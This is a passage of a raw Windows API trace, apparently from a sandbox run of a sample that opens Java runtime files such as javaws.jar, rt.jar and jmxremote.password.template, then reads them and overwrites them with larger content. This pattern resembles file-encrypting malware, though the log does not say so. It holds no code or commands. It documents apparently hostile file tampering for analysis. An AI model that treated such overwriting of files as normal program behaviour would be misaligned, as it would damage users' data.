[0045.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jvm.cfg", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jvm.cfg", lpUsedDefaultChar=0x0) returned 7 [0045.012] ReadFile (in: hFile=0x1d4, lpBuffer=0x2739038, nNumberOfBytesToRead=0x2ae, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739038*, lpNumberOfBytesRead=0x2b0f2bc*=0x2ae, lpOverlapped=0x0) returned 1 [0045.013] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0045.013] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x836, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2b0f2d0*=0x836, lpOverlapped=0x0) returned 1 [0045.013] CloseHandle (hObject=0x1d4) returned 1 [0045.014] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\javaws.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0045.019] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0045.019] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xd9d17 [0045.019] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0045.019] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.019] ReleaseMutex (hMutex=0x128) returned 1 [0045.019] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="javaws.jar", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0045.019] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="javaws.jar", cchWideChar=10, lpMultiByteStr=0x1e6342c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="javaws.jar", lpUsedDefaultChar=0x0) returned 10 [0045.019] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.035] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.047] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xd8d17 [0045.047] ReadFile (in: hFile=0x184, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.055] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xd8d17 [0045.056] WriteFile (in: hFile=0x184, lpBuffer=0x25c8508*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c8508*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.056] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0045.056] WriteFile (in: hFile=0x184, lpBuffer=0x3a26d98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a26d98*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0045.057] WriteFile (in: hFile=0x184, lpBuffer=0x3a26d98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a26d98*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.057] CloseHandle (hObject=0x184) returned 1 [0045.057] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0045.057] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0045.057] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xb28 [0045.057] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0045.057] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.058] ReleaseMutex (hMutex=0x128) returned 1 [0045.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jmxremote.password.template", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jmxremote.password.template", cchWideChar=27, lpMultiByteStr=0x1e7fb4c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jmxremote.password.template", lpUsedDefaultChar=0x0) returned 27 [0045.058] ReadFile (in: hFile=0x184, lpBuffer=0x25c8508, nNumberOfBytesToRead=0xb28, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c8508*, lpNumberOfBytesRead=0x2b0f2bc*=0xb28, lpOverlapped=0x0) returned 1 [0045.066] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0045.066] WriteFile (in: hFile=0x184, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x10b0, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2b0f2d0*=0x10b0, lpOverlapped=0x0) returned 1 [0045.066] CloseHandle (hObject=0x184) returned 1 [0045.066] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\rt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\rt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0045.076] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0045.076] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x3124c2e [0045.076] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0045.077] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.077] ReleaseMutex (hMutex=0x128) returned 1 [0045.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rt.jar", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0045.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rt.jar", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rt.jar", lpUsedDefaultChar=0x0) returned 6 [0045.077] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.574] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.577] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.580] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.587] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.589] VirtualAlloc (lpAddress=0x0, dwSize=0x50000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef30000 [0045.594] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.598] VirtualQuery (in: lpAddress=0x7ef80000, lpBuffer=0x2b0f23c, dwLength=0x1c | out: lpBuffer=0x2b0f23c*(BaseAddress=0x7ef80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0045.598] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eec0000 [0045.603] VirtualFree (lpAddress=0x7ef30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0045.605] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.608] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.609] VirtualQuery (in: lpAddress=0x7ef30000, lpBuffer=0x2b0f23c, dwLength=0x1c | out: lpBuffer=0x2b0f23c*(BaseAddress=0x7ef30000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x59000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0045.609] VirtualAlloc (lpAddress=0x7ef30000, dwSize=0x20000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ef30000 [0045.610] VirtualAlloc (lpAddress=0x7ef30000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ef30000 [0045.611] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.613] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.616] VirtualQuery (in: lpAddress=0x7ef50000, lpBuffer=0x2b0f23c, dwLength=0x1c | out: lpBuffer=0x2b0f23c*(BaseAddress=0x7ef50000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x39000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0045.616] VirtualAlloc (lpAddress=0x7ef50000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ef50000 [0045.617] VirtualAlloc (lpAddress=0x7ef50000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ef50000 [0045.618] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.622] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.629] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.639] VirtualQuery (in: lpAddress=0x7ef80000, lpBuffer=0x2b0f23c, dwLength=0x1c | out: lpBuffer=0x2b0f23c*(BaseAddress=0x7ef80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0045.639] VirtualAlloc (lpAddress=0x0, dwSize=0xf0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ecf0000 [0045.956] VirtualQuery (in: lpAddress=0x7eec0000, lpBuffer=0x2b0f208, dwLength=0x1c | out: lpBuffer=0x2b0f208*(BaseAddress=0x7eec0000, AllocationBase=0x7eec0000, AllocationProtect=0x4, RegionSize=0x70000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0045.956] VirtualFree (lpAddress=0x7eec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0045.958] VirtualQuery (in: lpAddress=0x7ef30000, lpBuffer=0x2b0f208, dwLength=0x1c | out: lpBuffer=0x2b0f208*(BaseAddress=0x7ef30000, AllocationBase=0x7ef30000, AllocationProtect=0x4, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0045.959] VirtualFree (lpAddress=0x7ef30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0045.959] VirtualQuery (in: lpAddress=0x7ef50000, lpBuffer=0x2b0f208, dwLength=0x1c | out: lpBuffer=0x2b0f208*(BaseAddress=0x7ef50000, AllocationBase=0x7ef50000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0045.959] VirtualFree (lpAddress=0x7ef50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0045.961] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.962] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.963] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.963] VirtualQuery (in: lpAddress=0x7ede0000, lpBuffer=0x2b0f23c, dwLength=0x1c | out: lpBuffer=0x2b0f23c*(BaseAddress=0x7ede0000, AllocationBase=0x7ede0000, AllocationProtect=0x4, RegionSize=0x80000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0045.963] VirtualAlloc (lpAddress=0x0, dwSize=0x130000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ebc0000 [0045.978] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.980] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.389] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.390] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.391] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.391] VirtualQuery (in: lpAddress=0x7ecf0000, lpBuffer=0x2b0f23c, dwLength=0x1c | out: lpBuffer=0x2b0f23c*(BaseAddress=0x7ecf0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x299000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0046.391] VirtualAlloc (lpAddress=0x7ecf0000, dwSize=0x50000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ecf0000 [0046.392] VirtualAlloc (lpAddress=0x7ecf0000, dwSize=0x50000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ecf0000 [0046.393] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.395] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.400] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.404] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.408] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.421] VirtualQuery (in: lpAddress=0x7ed40000, lpBuffer=0x2b0f23c, dwLength=0x1c | out: lpBuffer=0x2b0f23c*(BaseAddress=0x7ed40000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x249000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0046.421] VirtualAlloc (lpAddress=0x7ed40000, dwSize=0x60000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ed40000 [0046.421] VirtualAlloc (lpAddress=0x7ed40000, dwSize=0x60000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ed40000 [0046.426] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.426] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.427] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.430] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.435] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.451] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.453] VirtualQuery (in: lpAddress=0x7eda0000, lpBuffer=0x2b0f23c, dwLength=0x1c | out: lpBuffer=0x2b0f23c*(BaseAddress=0x7eda0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1e9000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0046.453] VirtualAlloc (lpAddress=0x7eda0000, dwSize=0x80000, flAllocationType=0x2000, flProtect=0x4) returned 0x7eda0000 [0046.453] VirtualAlloc (lpAddress=0x7eda0000, dwSize=0x80000, flAllocationType=0x1000, flProtect=0x4) returned 0x7eda0000 [0046.456] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.458] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.473] ReadFile (in: hFile=0x184, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0x2000, lpOverlapped=0x0) returned 1 [0046.473] ReadFile (in: hFile=0x184, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0046.521] SetFilePointer (in: hFile=0x184, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3120c2e [0046.524] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef00000 [0046.531] VirtualQuery (in: lpAddress=0x7ef80000, lpBuffer=0x2b0f258, dwLength=0x1c | out: lpBuffer=0x2b0f258*(BaseAddress=0x7ef80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0046.531] VirtualAlloc (lpAddress=0x0, dwSize=0xa0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee60000 [0046.538] VirtualFree (lpAddress=0x7ef00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0046.543] VirtualQuery (in: lpAddress=0x7ef00000, lpBuffer=0x2b0f258, dwLength=0x1c | out: lpBuffer=0x2b0f258*(BaseAddress=0x7ef00000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x89000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0046.543] VirtualAlloc (lpAddress=0x7ef00000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ef00000 [0046.543] VirtualAlloc (lpAddress=0x7ef00000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ef00000 [0046.547] VirtualQuery (in: lpAddress=0x7ef30000, lpBuffer=0x2b0f258, dwLength=0x1c | out: lpBuffer=0x2b0f258*(BaseAddress=0x7ef30000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x59000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0046.547] VirtualAlloc (lpAddress=0x7ef30000, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ef30000 [0046.548] VirtualAlloc (lpAddress=0x7ef30000, dwSize=0x40000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ef30000 [0046.553] VirtualQuery (in: lpAddress=0x7ef70000, lpBuffer=0x2b0f258, dwLength=0x1c | out: lpBuffer=0x2b0f258*(BaseAddress=0x7ef70000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x19000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0046.553] VirtualAlloc (lpAddress=0x7ef70000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ef70000 [0046.554] VirtualAlloc (lpAddress=0x7ef70000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ef70000 [0046.555] VirtualQuery (in: lpAddress=0x7ef80000, lpBuffer=0x2b0f258, dwLength=0x1c | out: lpBuffer=0x2b0f258*(BaseAddress=0x7ef80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0046.555] VirtualAlloc (lpAddress=0x0, 